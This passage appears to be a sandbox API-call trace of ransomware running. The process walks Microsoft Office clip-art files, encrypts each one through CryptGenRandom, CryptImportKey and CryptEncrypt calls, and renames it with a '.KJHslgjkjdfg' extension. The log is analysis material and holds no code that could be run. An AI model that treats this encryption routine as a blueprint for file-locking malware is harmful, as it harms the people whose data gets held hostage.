dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0158.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.202] GetProcessHeap () returned 0x2a0000 [0158.202] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.202] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.202] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.202] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0158.205] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.205] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.205] GetProcessHeap () returned 0x2a0000 [0158.205] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.205] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.205] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.205] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.205] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.205] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.205] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.205] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.205] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.205] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.206] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.206] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.206] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc18a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc18a, lpOverlapped=0x0) returned 1 [0158.207] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc190, dwBufLen=0xc190 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc190) returned 1 [0158.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.208] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc190, lpOverlapped=0x0) returned 1 [0158.209] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.209] SetEndOfFile (hFile=0x114) returned 1 [0158.212] GetProcessHeap () returned 0x2a0000 [0158.212] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.212] GetProcessHeap () returned 0x2a0000 [0158.212] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.kjhslgjkjdfg")) returned 1 [0158.213] CloseHandle (hObject=0x114) returned 1 [0158.214] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0158.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.215] GetProcessHeap () returned 0x2a0000 [0158.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.216] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.216] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0158.218] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.218] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.218] GetProcessHeap () returned 0x2a0000 [0158.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0158.218] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0158.218] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.218] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0158.218] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.218] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.218] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.219] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.219] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb96, lpOverlapped=0x0) returned 1 [0158.219] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xba0, dwBufLen=0xba0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xba0) returned 1 [0158.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.219] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xba0, lpOverlapped=0x0) returned 1 [0158.219] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.219] SetEndOfFile (hFile=0x114) returned 1 [0158.222] GetProcessHeap () returned 0x2a0000 [0158.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0158.222] GetProcessHeap () returned 0x2a0000 [0158.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.222] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.kjhslgjkjdfg")) returned 1 [0158.223] CloseHandle (hObject=0x114) returned 1 [0158.223] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0158.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.225] GetProcessHeap () returned 0x2a0000 [0158.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.225] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.225] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.225] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0158.228] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.228] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.228] GetProcessHeap () returned 0x2a0000 [0158.228] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.228] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.228] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.228] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.228] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.228] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.228] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.228] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.229] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2856, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2856, lpOverlapped=0x0) returned 1 [0158.231] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2860, dwBufLen=0x2860 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2860) returned 1 [0158.231] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.231] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2860, lpOverlapped=0x0) returned 1 [0158.231] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.231] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.231] SetEndOfFile (hFile=0x114) returned 1 [0158.234] GetProcessHeap () returned 0x2a0000 [0158.234] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.234] GetProcessHeap () returned 0x2a0000 [0158.234] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.234] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.kjhslgjkjdfg")) returned 1 [0158.235] CloseHandle (hObject=0x114) returned 1 [0158.235] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0158.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.236] GetProcessHeap () returned 0x2a0000 [0158.236] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.236] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.237] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.237] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0158.239] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.239] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.239] GetProcessHeap () returned 0x2a0000 [0158.239] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.239] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.239] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.239] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.239] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.239] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.239] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.239] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.239] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.239] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.240] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7992, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7992, lpOverlapped=0x0) returned 1 [0158.241] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x79a0, dwBufLen=0x79a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x79a0) returned 1 [0158.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.241] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x79a0, lpOverlapped=0x0) returned 1 [0158.242] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.242] SetEndOfFile (hFile=0x114) returned 1 [0158.284] GetProcessHeap () returned 0x2a0000 [0158.284] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.284] GetProcessHeap () returned 0x2a0000 [0158.284] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.kjhslgjkjdfg")) returned 1 [0158.285] CloseHandle (hObject=0x114) returned 1 [0158.285] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0158.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.287] GetProcessHeap () returned 0x2a0000 [0158.287] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.287] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.287] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.287] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.287] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.287] GetProcessHeap () returned 0x2a0000 [0158.287] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.287] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, 